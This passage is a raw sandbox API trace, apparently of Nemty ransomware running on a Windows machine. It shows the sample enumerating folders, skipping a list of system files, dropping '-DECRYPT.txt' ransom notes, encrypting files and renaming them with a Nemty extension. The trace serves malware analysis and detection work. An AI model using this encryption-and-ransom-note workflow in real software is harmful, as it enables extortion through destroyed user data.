hHeap=0x4f90000) returned 1 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.135] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor._nemty_kgobjgd_")) returned 1 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.136] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0180.136] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0180.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0180.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0180.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0180.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.139] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.139] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0180.139] CloseHandle (hObject=0x2e8) returned 1 [0180.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0180.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0180.142] CloseHandle (hObject=0x2e8) returned 1 [0180.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.142] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f0369d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f0369d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0180.142] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0180.142] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f0369d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f0369d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.142] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0180.142] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0180.142] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0180.142] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0180.142] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0180.142] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0180.142] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0180.143] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0180.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0180.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.144] Sleep (dwMilliseconds=0x5) [0180.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f05cb30, dwHighDateTime=0x1d561e8)) [0180.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f05cb30, dwHighDateTime=0x1d561e8)) [0180.146] GetLastError () returned 0xb7 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.147] GetLastError () returned 0xb7 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.147] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0180.147] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0180.147] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0180.147] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="OL2lbThVddS8p6iQC+0veY6SWuqOLzyp/5OP+uD0khe5DIeM0nQewH54l1nh080N\r\nWDMV/p+jEEOjxJiYGhAx7Fejv6dcjB8mVR7LI0YvAzyFfSOHqc+XT35WL6/WZea4\r\nIEP4qdiN/XmoJhVyLG0FZAWx6t4qVEXrrRyv6DBXktAuAgsU7SDcGXP46HBreppF\r\nB2VZeLSvkiCUKInoQcRAsz+J0AjWFtirrlvONSNr/ZsGqDkZnJSdyhK6CxRyhvPF\r\n7/bf6uzbkunY2ajk023BpEGYCqBKcfSZ62AvxBvzIjzgHEg/vjbN8FpBfBEOAKM2\r\nfQEeZuXrzejx/TqGO+qNVw==\r\n", pcchString=0x653e29c) returned 1 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0180.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0180.147] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=35691) returned 1 [0180.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8b60) returned 0x6352c48 [0180.148] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.148] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8b60, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8b60, lpOverlapped=0x0) returned 1 [0180.151] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.151] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8b60, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8b60, lpOverlapped=0x0) returned 1 [0180.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.152] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=35691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b6b [0180.152] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0180.152] CloseHandle (hObject=0x2f0) returned 1 [0180.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0180.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0180.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0180.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0180.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.153] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, 